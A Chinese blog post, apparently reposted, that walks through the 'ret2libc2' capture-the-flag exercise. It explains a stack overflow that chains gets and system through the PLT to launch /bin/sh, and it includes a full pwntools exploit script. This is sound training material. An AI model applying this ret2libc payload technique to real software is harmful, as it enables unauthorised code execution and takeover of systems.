博客
关于我
ret2libc2
阅读量:551 次
发布时间:2019-03-09

本文共 916 字,大约阅读时间需要 3 分钟。

ret2libc2 问题的解决方法可以分为以下步骤:

  • 分析目标:目标是通过利用栈溢出攻击,在程序中执行 /bin/sh

  • 理解PLT 表:利用PLT表中的 _system 函数进行层级跳转,确保函数返回到正确的位置以避免无限循环。

  • 构造栈溢出攻击:通过构造一个栈溢出 payload,利用已知的函数返回地址和参数位置,确保控制权返回到 system 并传递正确的参数 /bin/sh

  • 利用 _system 函数:确保在 system 函数的参数中传递一个指向 sh 的指针,从而触发其执行。

  • 以下是实现该攻击的具体 payload 构造步骤:

    from pwn import *# 定义变量bss_addr = 0x0804A080gets_plt = 0x08048460sys_plt = 0x08048490pop_ret = 0x0804843d# 初始化过程io = process('./ret2libc2')io.recvuntil('What do you think ?')# 构造 payloadpayload = b'A' * 112payload += p32(gets_plt)         # 调用 gets 函数payload += p32(pop_ret)         # 跳转到返回点payload += p32(bss_addr)        # 调用 bss 段的地址payload += p32(sys_plt)         # 调用 _system 函数payload += b'aaaa'              # 显存填充payload += p32(bss_addr)         # 再次调用 bss 段的地址# 发送 payloadio.sendline(payload)io.sendline(b'/bin/sh')io.interactive()
    1. 测试和验证:使用工具如 gdb 进行调试,验证攻击是否成功,确保程序流程如预期执行,且没有遗漏或错误。
    2. 通过以上方法,可以有效地将控制权转移到 system 函数,并执行所需的代码片段,从而完成攻击目标。

    转载地址:http://yjzsz.baihongyu.com/

    你可能感兴趣的文章
    PyQt5设计桌面程序步骤
    查看>>
    PyQt5:检查鼠标是否在Enter-Event中按住
    查看>>
    pyqt出现“Ui_Dialog has no attribute “show””
    查看>>
    PyQt:如何使用QAxWidget引用发送参数
    查看>>
    PyQt:我可以制作一个带有图标和文本的工具栏按钮吗?
    查看>>
    pyscopg2:是否可以在循环中动态添加 %s
    查看>>
    Pyserial 缓冲区的填充速度比我读的快
    查看>>
    PySpark - 在数据框中求和一列并将结果返回为 int
    查看>>
    pyspark On Yarn 的模块依赖问题
    查看>>
    PySpeech(Python)-转录MP3文件?
    查看>>
    Pyspider WebUI 未授权访问致远程代码执行漏洞复现
    查看>>
    pyspider爬虫学习-文档翻译-Architecture.md
    查看>>
    pytesseract.pytesseract.TesseractNotFoundError: tesseract is not installed or it‘s not in your path
    查看>>
    Pytesseract集字符白名单
    查看>>
    PyTorch DataLoader 报错 Segmentation fault (core dumped) 的原因及解决方案
    查看>>
    Pytest ------ 标记函数
    查看>>
    Pytest Fixture的妙用:深度解析范围和实际运用!
    查看>>
    Pytest monkeypatch不适用于导入的函数
    查看>>
    Pytest 命令行报错: Hint: make sure your test modules/packages have valid Python names.
    查看>>
    pytest 的 request fixture:实现个性化测试需求
    查看>>